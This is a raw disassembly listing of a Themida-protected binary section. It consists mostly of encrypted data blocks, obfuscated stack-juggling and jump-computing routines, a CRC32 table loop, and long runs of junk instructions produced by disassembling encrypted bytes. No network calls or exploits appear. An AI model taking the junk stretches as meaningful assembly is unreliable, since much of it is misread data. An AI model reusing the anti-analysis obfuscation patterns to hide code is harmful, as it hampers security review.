dd 0FA370777h, 0B6600A7Ah, 0F3CB3BBDh, 4EAE3ABEh, 0C8C5F1DEh
dd 2D0A4FF6h, 20F11086h, 0DC02CC4Ah, 862D2069h, 10FACB10h
dd 432A223h, 2797191Ah, 0BF6C1EEFh, 5ECCCA3Ah, 0F1546A9Ah
dd 16A3FEFCh, 3495141Dh, 9BFC4891h, 4D623316h, 22967449h
dd 89E44D11h, 0AEC37119h, 0E936DF4Fh, 9B1A1C8Ch, 5C3840BEh
dd 62C6EBADh, 2EA118F2h, 0E62B9AC4h, 855F3D99h, 0D855D6B4h
dd 0BD885668h, 5F3D9994h, 0C9A44657h, 0D1ED1DE1h, 184A7F72h
dd 893CFE59h, 45516840h, 1351A2Bh, 2494161Bh, 0F767C546h
dd 43B3111Eh, 0B7C7F053h, 0FF660F04h, 575F7D0h, 79A02339h
dd 4B0A527h, 6E3C5733h, 9AC49ACAh, 0A527E62Bh, 0D6B485B0h
dd 284DC580h, 85AEB6B8h, 0E1D5B525h, 44A50ED0h, 133960E3h
dd 0F3C4B6BEh, 0AEE5DADCh, 2EDC4Ch, 0BE135885h, 0BC2C8EB6h
dd 0E488D7Ah, 0EC73F5DBh, 0E4D242A7h, 598A35DCh, 0B29746F1h
dd 3DE06A47h, 1ACDh, 7CCA0B00h, 0AD7C8D3Fh, 0EBE1540Fh
dd 5F2662CCh, 0A34768D8h, 353B56Fh, 24D10000h, 4BBB3CC8h
dd 0C4413264h, 5C5E6254h, 0F2A1BB7Bh, 0D5B5901Ch, 58D4F3DAh
dd 14410DE8h, 0BF243F81h, 0D7543665h, 4EB1E555h, 0D3FABF87h
dd 6D0878F4h, 40CF37B6h, 46B63B28h, 10587F50h, 87F77939h
dd 0BE91BE8Fh, 95056B78h, 0CCF3A2A1h, 340A7AFBh, 0A61D7EFFh
dd 10867463h, 7416390Ah, 0EB203519h, 0E72A99A3h, 8610869Dh
dd 0B95BA2B5h, 9C30FDDAh, 5C214573h, 6A530FAEh, 1D9D2E1Fh
dd 2D86C8ADh, 655A5CCCh, 0B3238485h, 99096E83h, 0F23F019Dh
dd 85401E8Eh, 0D1E535Ch, 355C0E1Fh, 2EBA3D8Ah, 67585ECEh
dd 0DB07AD48h, 45000000h, 6D1D8DECh, 0E010ABC5h, 0CE3EBDB6h
dd 0CD3DC3F0h, 64E14E1Dh, 67C9EAF4h, 1CCEBFF7h, 0F24E93F2h
dd 0A8B21086h, 0F2CA0FB6h, 0C4B11086h, 0C0BDF969h, 290BC8EFh
dd 0DA945BA2h, 71568930h, 8DD1A414h, 6155C524h, 2A8D7E6Ch
dd 4677CBAh, 0B69CA94h, 23869B9Bh, 40EE9CB3h, 5A5CCC33h
dd 3F77E749h, 0DDEAD544h, 4EC2ED5Dh, 68CFF8E7h, 6ACDE6F8h
dd 0AE8510FAh, 0C4DDD949h, 0C5C0F666h, 0D95E6954h, 9CC28C69h
dd 86D3E029h, 0D0BA8B10h, 276FDF63h, 60DC0EC8h, 4AADC6F0h
dd 0CACC3CBEh, 1DDCDAF5h, 0AF9A4974h, 92F0D706h, 7E45A606h
dd 1086D35Bh, 0F83E1122h, 0D64D2807h, 36BCA56h, 0D180F239h
dd 0B8FBD49Dh, 0AFE7C838h, 86D30854h, 7A65D410h, 48B83B78h
dd 0A31371A2h, 0C82466D2h, 0E7455E58h, 11883F77h, 5BCB299Eh
dd 0F7EBF7BAh, 86E51086h, 0EC7C3916h, 7697A822h, 0FFFFFF09h
dd 0DB0BAB92h, 6704003h, 0AAAB169Ch, 0D4214F88h, 0E6444FC5h
dd 9B4F4076h, 0D84832FBh, 0CD08F6F1h, 0C9EAB4E2h, 0EB5BDC68h
dd 0B9FDD2ABh, 0DADC4CA8h, 0F320CAE5h, 0DE552090h, 0B8A9ED5Dh
dd 0DB4BAC38h, 0F666C6DBh, 0CFE0CFC0h, 0DDD057C7h, 4A2189EAh
dd 0C646F10Dh, 66D6565Dh, 0F477AC49h, 0B39C0C68h, 0B42486ABh
dd 2FDD8D82h, 930988D4h, 0F363E016h, 0DB4BAEC3h, 7E31D8DBh
dd 0A20D8465h, 0BF56C625h, 73A31370h, 3D013105h, 4BB3121Fh
dd 763B0FACh, 9482AD26h, 7CF4CFBBh, 1108EB6h, 0A1556530h
dd 0D46F6D71h, 1CACA58Dh, 0A9AB5F70h, 8976AB1Ah, 9D99AA1Ah
dd 0DDB82884h, 4076E646h, 63C854C5h, 0CD00A748h, 6B0A7AFAh
dd 0D3C333B4h, 0A8EE5EDEh, 0CEC838BBh, 0B2E454D5h, 0EAF9E455h
dd 0E5607E40h, 4B6211BCh, 157C6E3Fh, 0FD1A9FAAh, 0B6A2F38Ch
dd 76000000h, 35DC524h, 0D45AA260h, 3365BEAh, 0E4B51086h
dd 4D11E4CBh, 751585E4h, 2CC939B4h, 3D0171F7h, 610979F4h
dd 2D9D1D12h, 0E757DB48h, 1B3E05D7h, 0E2108603h, 0F05A39D1h
dd 0E6D040C3h, 160070CDh, 0B7741639h, 2935C030h, 3499033h
dd 63341086h, 3363D330h, 183B05Ah, 845A0491h, 860398C1h
dd 0B8526310h, 0ED88F87Bh, 7A44B436h, 0C4FB739h, 93A09BE4h
dd 2926103Fh, 3482D341h, 4A4CBC3Fh, 0B413BA6Bh, 6A74C333h
dd 8659B6DBh, 0D0733510h, 10865989h, 0E98CA374h, 0ED4ABA3Ah
dd 6539B9h, 944D0000h, 86F21F39h
dd 0BB26310h, 0F565CAE7h, 561ECCC1h, 55C524E2h, 861273C0h
dd 8C81B525h, 0DB5DD2A3h, 15958A6Bh, 7CBA2A89h, 0F2EE3392h
dd 0BC8D1086h, 4AD9BC93h, 786678E8h, 86F284CDh, 0E959DA10h
dd 5F70D0ADh, 0EC53E0ABh, 2A8A997Ch, 0E744DBBAh, 9BBC9E77h
dd 0B0DAA653h, 69593120h, 3, 244B2F3Dh, 475C5ACAh, 314274E4h
dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h
dd 4F6452C2h, 783C7AEAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
push 7215h
mov [esp], ebp
push edi
mov edi, 38692C93h
push ebp
mov ebp, 17554287h
xor ebp, 45733CF5h
and ebp, 56E63F11h
dec ebp
shr ebp, 4
add ebp, 48C9FC48h
or edi, ebp
pop ebp
and edi, 553E642Dh
sub edi, 4F1034E3h
mov eax, edi
pop edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push eax
push edx
mov edx, 9DB5821h
xor [esp+4], edx
pop edx
pop dword ptr [ebp+8]
xor dword ptr [ebp+8], 9DB5821h
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_581882
; ---------------------------------------------------------------------------
or al, 0CEh
jg short loc_5ECFA9
sub ch, [ecx] ; CODE XREF: Themida_:005ECFD3j
or al, 0F9h
fsubp st(3), st
pop ss
pop esp
sub al, 0B8h
xchg eax, ecx
xor al, 1Ch
push es
add eax, ebp
mov edx, ebx
jmp loc_5ECFCA
; ---------------------------------------------------------------------------
pusha
mov edi, [ebp+6151CA9h]
sub edi, 4
xor ecx, ecx
loc_5ECF9B: ; CODE XREF: Themida_:005ECFC2j
mov eax, ecx
mov ebx, 0EDB88320h
add edi, 4
; ---------------------------------------------------------------------------
db 0BEh, 8, 0
db 0
; ---------------------------------------------------------------------------
loc_5ECFA9: ; CODE XREF: Themida_:005ECF76j
; Themida_:005ECFB3j
add cl, dl
call near ptr 0D382A1CBh
xor eax, edx
dec esi
jnz near ptr loc_5ECFA9+1
inc ecx
mov [edi], eax
cmp ecx, 100h
jb loc_5ECF9B
popa
locret_5ECFC9: ; CODE XREF: Themida_:005ECFD1j
retn
; ---------------------------------------------------------------------------
loc_5ECFCA: ; CODE XREF: Themida_:005ECF8Aj
mov ecx, eax
push ebp
in eax, dx
std
jnz short loc_5ED02F ; CODE XREF: Themida_:005ED037j
jp short locret_5ECFC9
jbe short near ptr loc_5ECF78+1
imul esp, esi, 0FD49BC56h
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
sbb ds:0FD2436EDh[edi*8], ah
and ah, [ecx]
and al, 0FDh
sub byte ptr [eax+6E72FD24h], 24h
std
push 31FD248Ch
std
and al, 0FDh
push ss
inc ebp
loc_5ECFF9: ; CODE XREF: Themida_:005ED067j
and al, 0FDh
or eax, 48FD2419h
db 36h
and al, 0FDh
add [ecx], esp
and al, 0FDh
; ---------------------------------------------------------------------------
db 7Ah
; ---------------------------------------------------------------------------
loc_5ED008: ; CODE XREF: Themida_:005ED03Bj
lodsd
loc_5ED009: ; CODE XREF: Themida_:005ED04Bj
and al, 0FDh
mov dword ptr [esi+24h], 248CA4FDh
std
cmp ebp, 434DFD24h
and al, 0FDh
xchg eax, ecx
sbb ds:358A259Dh[edi*8], ah
xchg eax, ebp
and ah, [edx+714A76D6h] ; CODE XREF: Themida_:005ED05Bj
; Themida_:005ED06Bj
ficomp word ptr [ebp+edi*4+4Bh] ; CODE XREF: Themida_:005ED035j
loc_5ED02E: ; CODE XREF: Themida_:005ED03Fj
hlt
; ---------------------------------------------------------------------------
loc_5ED02F: ; CODE XREF: Themida_:005ECFCFj
pop esp
loc_5ED030: ; CODE XREF: Themida_:005ED031j
pop edx
jp short loc_5ED030
jnz short near ptr loc_5ED05B+1
jb short near ptr loc_5ED02A+2
jnz short near ptr loc_5ECFCF+1 ; CODE XREF: Themida_:005ED039j
; Themida_:005ED041j ...
jns short near ptr loc_5ED037+1
jz short loc_5ED008 ; CODE XREF: Themida_:005ED03Dj
js short near ptr loc_5ED03B+1
jnb short loc_5ED02E
jge short near ptr loc_5ED037+1
loc_5ED043: ; CODE XREF: Themida_:loc_5ED045j
jz short near ptr loc_5ED037+1
loc_5ED045: ; CODE XREF: Themida_:loc_5ED05Fj
jnp short loc_5ED043
loc_5ED047: ; CODE XREF: Themida_:005ED049j
jz short loc_5ED0C1
jnp short loc_5ED047
jnz short loc_5ED009 ; CODE XREF: Themida_:005ED04Dj
jp short near ptr loc_5ED04B+1
jnz short near ptr loc_5ED0AE+1 ; CODE XREF: Themida_:005ED051j
jp short near ptr loc_5ED04F+1
jbe short loc_5ED0AB
sbb [ebx-5CE61A8Bh], ah ; CODE XREF: Themida_:loc_5ED063j
loc_5ED05B: ; CODE XREF: Themida_:005ED033j
; Themida_:005ED05Dj
jnz short near ptr loc_5ED024+4
jp short near ptr loc_5ED05B+1
loc_5ED05F: ; CODE XREF: Themida_:005ED061j
jnz short loc_5ED045
jnp short loc_5ED05F
loc_5ED063: ; CODE XREF: Themida_:005ED065j
jz short near ptr loc_5ED055+3
jnp short loc_5ED063
jz short loc_5ECFF9
mov dl, 0F8h
jnz short near ptr loc_5ED024+5
sbb dh, [eax-10h]
jmp short near ptr loc_5ED0B4+1
; ---------------------------------------------------------------------------
dw 73E1h
dd 4011FFA6h, 0F0707C8Bh, 73E14300h, 4051FF6Ch, 0F0707CEEh
dd 73E14070h, 4015FF35h, 0F0707C42h, 73E14346h, 404DFF1Eh
dd 0F0707CD7h, 73E143CDh, 4049FF7Bh
db 65h, 7Ch, 70h
; ---------------------------------------------------------------------------
loc_5ED0AB: ; CODE XREF: Themida_:005ED053j
lock jp short loc_5ED0FB
loc_5ED0AE: ; CODE XREF: Themida_:loc_5ED04Fj
loope loc_5ED123
xlat
inc dword ptr [ebp+40h]
loc_5ED0B4: ; CODE XREF: Themida_:005ED070j
xor edi, [eax+esi*2-10h]
dec edi
dec ebp
loope loc_5ED12F
inc edx
inc dword ptr [ecx+40h]
stc
loc_5ED0C1: ; CODE XREF: Themida_:loc_5ED047j
jl short loc_5ED133
lock sbb al, 4Dh
loope loc_5ED13B
; ---------------------------------------------------------------------------
dd 403DFFF0h, 0F0707CA0h, 73E14217h, 4031FFA6h
db 8Bh, 7Ch, 70h
; ---------------------------------------------------------------------------
loc_5ED0DB: ; CODE XREF: Themida_:loc_5ED133j
lock fiadd word ptr [edx-1Fh]
jnb short near ptr loc_5ED14C+1
; ---------------------------------------------------------------------------
db 0FFh, 39h, 40h
dd 0F0707CEEh, 73E1424Dh, 4035FF35h, 0F0707C42h, 73E14266h
; ---------------------------------------------------------------------------
push ds
push dword ptr [ecx]
loc_5ED0FB: ; CODE XREF: Themida_:loc_5ED0ABj
; Themida_:005ED15Dj
inc eax
xlat
jl short loc_5ED16F
lock inc dx
loope loc_5ED177
jnp short near ptr loc_5ED104+1 ; CODE XREF: Themida_:loc_5ED104j
and [eax+65h], eax
jl short near ptr loc_5ED177+4
lock push ds
inc edx
loope near ptr loc_5ED181+2
xlat
call fword ptr ds:707C3340h
lock push edx
inc edx
loope near ptr loc_5ED18E+1
inc edx
call fword ptr [ecx]
inc eax
stc
jl short near ptr loc_5ED190+3
loc_5ED123: ; CODE XREF: Themida_:loc_5ED0AEj
; Themida_:005ED18Aj
lock cld
inc ebx
loope loc_5ED19B
lock jmp fword ptr ds:707CA040h
; ---------------------------------------------------------------------------
loc_5ED12F: ; CODE XREF: Themida_:005ED0BAj
lock sbb eax, [ebx-1Fh]
loc_5ED133: ; CODE XREF: Themida_:loc_5ED0C1j
jnb short loc_5ED0DB
jmp fword ptr [ecx]
; ---------------------------------------------------------------------------
db 40h
db 8Bh, 7Ch, 70h
; ---------------------------------------------------------------------------
loc_5ED13B: ; CODE XREF: Themida_:005ED0C6j
lock sub eax, [ebx-1Fh]
jnb short near ptr loc_5ED1AC+1
jmp dword ptr ds:767CEE40h
; ---------------------------------------------------------------------------
db 0F0h
dd 73E85FF4h
; ---------------------------------------------------------------------------
loc_5ED14C: ; CODE XREF: Themida_:005ED0DFj
xor eax, 4243D8FFh
jl short loc_5ED1C9
lock xchg bl, [eax-18h]
jnb short loc_5ED177
call esp
inc ebx
xlat
jl short loc_5ED0FB
mov dh, 0B0h
icebp
adc [ebp+75FD7AF2h], ebx
and edi, ebx
pop ss
dec esp
loc_5ED16C: ; CODE XREF: Themida_:loc_5ED19Bj
mov esp, [esi-5]
loc_5ED16F: ; CODE XREF: Themida_:005ED0FDj
and eax, 0FDF53FD5h
lodsd
pop esi
retf
; ---------------------------------------------------------------------------
loc_5ED177: ; CODE XREF: Themida_:005ED102j
; Themida_:005ED157j ...
imul edx, [ecx-3048CBDEh], 0B723AC7Ah
loc_5ED181: ; CODE XREF: Themida_:005ED10Ej
sub [ebp-285E5E0h], ebp
jnz short locret_5ED202
daa
jl short near ptr loc_5ED123+1
out 4Dh, al
loc_5ED18E: ; CODE XREF: Themida_:005ED11Aj
loope loc_5ED203
loc_5ED190: ; CODE XREF: Themida_:005ED1F7j
; Themida_:005ED121j
mov al, ds:334056FFh
jl short loc_5ED214
enter 4F3Ch, 0E1h
loc_5ED19B: ; CODE XREF: Themida_:005ED126j
; Themida_:005ED1CBj
jnb short loc_5ED16C
or [ebp+eax*8-4AB48A1Ch], esi
stc
mov edx, 0EF863589h
aam 43h
loc_5ED1AC: ; CODE XREF: Themida_:005ED13Fj
; Themida_:005ED223j
mov al, ds:96FEBD7Ch
sub eax, [ebp+7Ah]
loc_5ED1B4: ; CODE XREF: Themida_:005ED1B5j
das
jp short loc_5ED1B4 ; CODE XREF: Themida_:005ED219j
mov al, [edx]
push ebx
retf
; ---------------------------------------------------------------------------
imul ecx, ebp, 0D0D948F7h
db 66h
sti
clc
mov ah, 50h
popf
loc_5ED1C8: ; CODE XREF: Themida_:loc_5ED1C9j
dec ebx
loc_5ED1C9: ; CODE XREF: Themida_:005ED151j
jle short loc_5ED1C8
jnz short near ptr loc_5ED19B+1
outsd
inc ebp
jbe short loc_5ED22F ; CODE XREF: Themida_:005ED1D1j
jp short near ptr loc_5ED1CF+1
mov bh, [edx-6E9634ADh]
test dword ptr [eax-27h], 0F8FB66FEh
sar esp, 1
push eax
mov ah, [edx]
and ebx, [edi]
loc_5ED1E7: ; CODE XREF: Themida_:005ED20Bj
mov esp, 4056F787h
mov al, ds:52DA07Ch
and [ebx+6D92EC2Ch], ah
ja short loc_5ED190
jp short loc_5ED248
int 0C1h ; used by BASIC while in interpreter
jns short loc_5ED256
mov dh, [eax+5Fh]
locret_5ED202: ; CODE XREF: Themida_:005ED187j
retf
; ---------------------------------------------------------------------------
loc_5ED203: ; CODE XREF: Themida_:loc_5ED18Ej
; Themida_:005ED21Fj ...
imul esi, esp, 79D3ED1h
js short near ptr loc_5ED203+5
jnz short loc_5ED1E7
retn 0CD9Bh
; ---------------------------------------------------------------------------
dd 0DE9B5954h
; ---------------------------------------------------------------------------
loc_5ED214: ; CODE XREF: Themida_:005ED195j
shr bh, 1
fadd dword ptr [ebx-75h]
jl short near ptr loc_5ED1B5+1
fimul word ptr [eax]
xchg eax, edx
xchg eax, ebp
ja short near ptr loc_5ED203+3
jp short near ptr loc_5ED22D+1
db 36h
rep jb short near ptr loc_5ED1AC+3
outsb
xchg ch, bh
fadd dword ptr [ebx-60h]
loc_5ED22D: ; CODE XREF: Themida_:005ED221j
jl short locret_5ED27C
loc_5ED22F: ; CODE XREF: Themida_:loc_5ED1CFj
lds edx, [ecx+edi*2-53h]
mov bh, [edx-6E9634A1h]
and [ebx-6481D40Ah], bl
jle short near ptr loc_5ED267+1
sbb al, 56h
mov dh, 1Ah
imul edi, 75h
loc_5ED248: ; CODE XREF: Themida_:005ED1F9j
jns short near ptr loc_5ED272+1
adc eax, 0FD7ABE4Eh
das
mov al, gs:59A57B89h
loc_5ED256: ; CODE XREF: Themida_:005ED1FDj
cmp eax, 0DF709491h
cmc
pop es
mov edx, 0D183FE4Dh
db 3Eh
popf
add [ebx-3], bh
loc_5ED267: ; CODE XREF: Themida_:005ED23Fj
jnz short loc_5ED293
xchg eax, edx
loope loc_5ED2E3
mov esp, 844EA77Ah
push cs
loc_5ED272: ; CODE XREF: Themida_:loc_5ED248j
adc al, ch
dec ecx
rcl byte ptr [esi], 1
test eax, 75FCA77Fh ; CODE XREF: Themida_:005ED299j
locret_5ED27C: ; CODE XREF: Themida_:loc_5ED22Dj
retf
; ---------------------------------------------------------------------------
db 8Ch, 0BEh, 74h
dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh
db 65h, 0A0h, 89h
; ---------------------------------------------------------------------------
loc_5ED293: ; CODE XREF: Themida_:loc_5ED267j
push 913D59A5h
xchg eax, esp
jo short near ptr loc_5ED277+3
cmc
pop es
mov edx, 85B5FF4Dh
push 0FB66C450h
das
pop ds
pop edi
std
push ecx
fidiv dword ptr [ecx+3Fh]
adc esi, ebp
mov ecx, 9285E94Dh
mov ebp, 4D7A9774h
hlt
; ---------------------------------------------------------------------------
dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh
dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h
; ---------------------------------------------------------------------------
dec edx
sbb al, 56h
loc_5ED2DF: ; CODE XREF: Themida_:005ED2EFj
popf
loc_5ED2E0: ; CODE XREF: Themida_:005ED2E1j
inc ebx
jnp short loc_5ED2E0
loc_5ED2E3: ; CODE XREF: Themida_:005ED26Aj
jnz short loc_5ED2FF
dec esp
loc_5ED2E6: ; CODE XREF: Themida_:loc_5ED2FFj
std
jnz short loc_5ED362
sbb al, 56h
popf
mov dh, 7Bh
std
jnz short loc_5ED2DF
out 57h, eax
mov dh, 9Fh
out 57h, al
popf
imul edi, [edx-3], 0FCF32375h
loc_5ED2FF: ; CODE XREF: Themida_:loc_5ED2E3j
jnz short loc_5ED2E6
; ---------------------------------------------------------------------------
db 8Ch, 0BEh, 74h
dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 43D4EF0Dh, 0C0707C65h
dd 73E14F4Ch, 7F518A5Dh, 0E002D02Ch, 73E14CB2h, 74E59208h
dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
dd 0C53ED02Ch, 274DD0C7h, 8BE19261h
db 1Ah, 85h
; ---------------------------------------------------------------------------
loc_5ED362: ; CODE XREF: Themida_:005ED2E7j
wait
int 0FDh
dec ebx
wait
ficom word ptr [ecx+438A036Bh]
retf 0DFA7h
; ---------------------------------------------------------------------------
dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h
dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h
dd 405FFF69h, 0C87D7CD7h, 73E14F47h, 0F8EC0FF3h, 69CB6EFCh
dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h
dd 8A00C30Dh, 0DF9CCA0Dh, 405FF787h, 0C87D7CA0h, 73E14FFCh
dd 0F8F10F2Fh, 69CB6E12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah
dd 5C688579h, 0F8FB668Ah, 69C70BC3h, 6DF9F029h, 9C4DB93Dh
dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h
dd 69CB5FCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh
dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h
dd 43D8EF68h, 917D7CD7h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh
dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh
dd 69CB5370h, 7D60F7F4h, 0F8FB664Fh, 0CD3E39A0h, 75FD7A4Eh
dd 43D4EFD0h, 0B57E7C8Bh, 8935F1CEh, 43D8EF1Ah, 97577CEEh
dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh
dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh
dd 0F417FB04h, 0FCFB6615h, 0CF7D86EAh, 73E14CEFh, 0EC7975E5h
dd 0CDFD7AF2h, 75FD7A73h, 43D4E843h, 0FCBD7C42h, 69CB57ADh
dd 0F835F191h, 69C62F79h, 506F85E3h, 0FDFB66C4h, 801F3C7Fh
dd 75FD6D04h, 587F795Eh, 35FB6619h, 4EB4E01Ah, 0B67E7CD7h
dd 22FEF3E1h, 75FD644Bh, 58777979h, 0F8FB668Ah, 69C64DECh
dd 2B598929h, 75FD722Fh, 5C6F85CBh, 0F6FB66D3h, 85897E0Ah
dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah
db 0F7h
byte_5ED535 db 0BBh, 1Eh, 76h ; DATA XREF: Themida_:0057B0FCo
dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h
dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h
dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah
dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h
dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 4E959016h
dd 0CF707CD7h, 73E14CD4h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh
dd 26FD7E9Ch, 43CCE7A2h, 497D7C8Bh, 71887BD3h, 771683BEh
dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0D417FB04h, 0F8FB6614h
dd 69CB4B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h
dd 4440F7DCh, 46FB6668h, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh
dd 69CB4B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh
dd 9E04795Ah, 0B69C8296h, 4440F7ABh, 0CDFB66D3h, 75FD7AF3h
dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 4B78F7EFh, 8AFB66A1h
dd 0E8CA8BD0h, 10h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh, 0C6D135CDh
dd 0D38B6660h, 61C18B66h, 14E85259h, 0AD000000h, 36CAEA5Ah
dd 3F91B27h, 0E96AE032h, 0C25D8436h, 8AC03512h, 815A5AD0h
dd 6E8FC1h, 0F98B6600h, 1B6868h, 0F98B6600h, 1BB6658h
dd 81318BDFh, 681439C6h, 24F6813Dh, 80127F60h, 0EE816ED6h
dd 76655673h, 8F0Fh, 31890000h, 7E9h, 0C53EFD00h, 13710ECCh
dd 6CB3E981h, 8D0F3240h, 14h, 0E870Fh, 8E80000h, 0F0000000h
dd 3C34164Ah, 5A228547h, 6CAFC181h, 8D0F3240h, 3, 8128D780h
dd 1E8h, 12850F00h, 8A000000h, 39E9F4h, 3FB90000h, 0EDFA21Dh
dd 9563D742h, 11E86Ch
db 2 dup(0)
word_5ED70E dw 162Ah ; DATA XREF: Themida_:0057C9E4o
dd 4BB32D4h, 0B1FC0C96h, 3472FE9Ah, 0F6C26F8h, 0E95FFAB7h
dd 0FFFFFF69h, 5A23F555h, 0A6F02F80h, 0D92CE4DAh, 8DF937EAh
dd 1C3DFD8Dh, 0B5BD8906h, 0F06152Fh, 1D82h, 178E0F00h
dd 0E9000000h, 12h, 0E07409B1h, 879C075Ch, 6D05FB0Ah, 0A358555Fh
dd 8D892A3Dh, 6152721h, 69DA8166h, 0CD85C7EBh, 0C0061504h
dd 6A00006Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 95FCC352h, 56FA2CAFh, 0C7816683h
dd 85C71F3Ch, 6151115h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5ED7B7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ED7B7 proc near ; CODE XREF: Themida_:005ED7AFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5ED7B7 endp
; ---------------------------------------------------------------------------
sbb [ebx+1502A985h], cl
push es
mov [ebp+615161Dh], edx
push dword ptr [ebp+6152F59h]
push 0
push eax
call sub_5ED7E5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ED7E5 proc near ; CODE XREF: Themida_:005ED7DDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5ED7E5 endp
; ---------------------------------------------------------------------------
db 0EEh, 72h, 44h
dd 1EC72C6h, 95FFC68Bh, 61502C9h, 0E8D7BF0Fh, 7, 67242D03h
dd 0E934B14Eh, 0Ch, 0E4293222h, 0D79534B5h, 86C7198Ch
dd 0FF006A58h, 152E2195h, 0EBC08B06h, 63D6ED4Dh, 1F3AB5CAh
dd 921951E0h, 0D90E8429h, 5685C3F4h, 0BF1714C4h, 9F015FF9h
dd 4C4C6BEh, 0FFE6109h, 4D1AFFBAh, 85F3AFA2h, 0FBC4DB06h
dd 1C22710Fh, 18057CA1h, 0C2226798h, 67911F71h, 8C3A7055h
dd 0EF8239F2h, 4F943AA8h, 8D8D1C08h, 61C3EF6h, 0A7FFBF66h
dd 27218D89h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0E0366DC3h, 85893D0Eh, 6152C75h
dd 18B5B589h, 85C70615h, 61504CDh, 5E54h, 17058529h, 85C70615h
dd 6151115h, 0
; ---------------------------------------------------------------------------
and edx, [ebp+61533B5h]
push dword ptr [ebp+6152CBDh]
or esi, [ebp+6151331h]
jmp loc_5ED8F0
; ---------------------------------------------------------------------------
db 0E3h
dd 0A8978032h
; ---------------------------------------------------------------------------
loc_5ED8F0: ; CODE XREF: Themida_:005ED8E6j
call dword ptr [ebp+61502C9h]
push 0
push ecx
call sub_5ED901
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ED901 proc near ; CODE XREF: Themida_:005ED8F9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5ED901 endp
; ---------------------------------------------------------------------------
db 28h, 0Fh, 87h
dd 6, 1829BD8Bh, 6A0615h, 2E2195FFh, 0C08B0615h, 0DD1A1BEBh
dd 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h, 0E9CBA3FEh
dd 89788FF5h, 0CE8AFh, 137C0000h, 6BA6B369h, 74199B69h
dd 870F0370h, 0Eh, 0C9953160h, 8B061504h, 151D499Dh, 8B596106h
dd 15056195h, 0FFC18106h, 0F000071h, 5C68D2BFh, 8000001Ch
dd 895EF5E2h, 150ACDBDh, 8B398B06h, 152F159Dh, 16F78106h
dd 0BB6C5541h, 62478A84h, 0FB4EF81h, 8D0F4BD1h, 5, 0C25026BBh
dd 0CFC78131h, 0BB5DDA1Ah, 0E56BFFFh, 6850F57h, 2B000000h
dd 15129195h, 0F018F06h, 0E983D3BFh, 6D858B04h, 4E061534h
dd 0FFAF850Fh, 0BF0FFFFFh, 2AE9D8h, 4C70000h, 24h, 0E800h
dd 815D0000h, 1C3FBFEDh, 24448B06h, 0AD858904h, 0B8061528h
dd 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+6154F9Eh]
jmp ecx
; ---------------------------------------------------------------------------
mov eax, 6754h
jmp short loc_5EDA29
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 1000000h
db 1
; ---------------------------------------------------------------------------
loc_5EDA29: ; CODE XREF: Themida_:005EDA11j
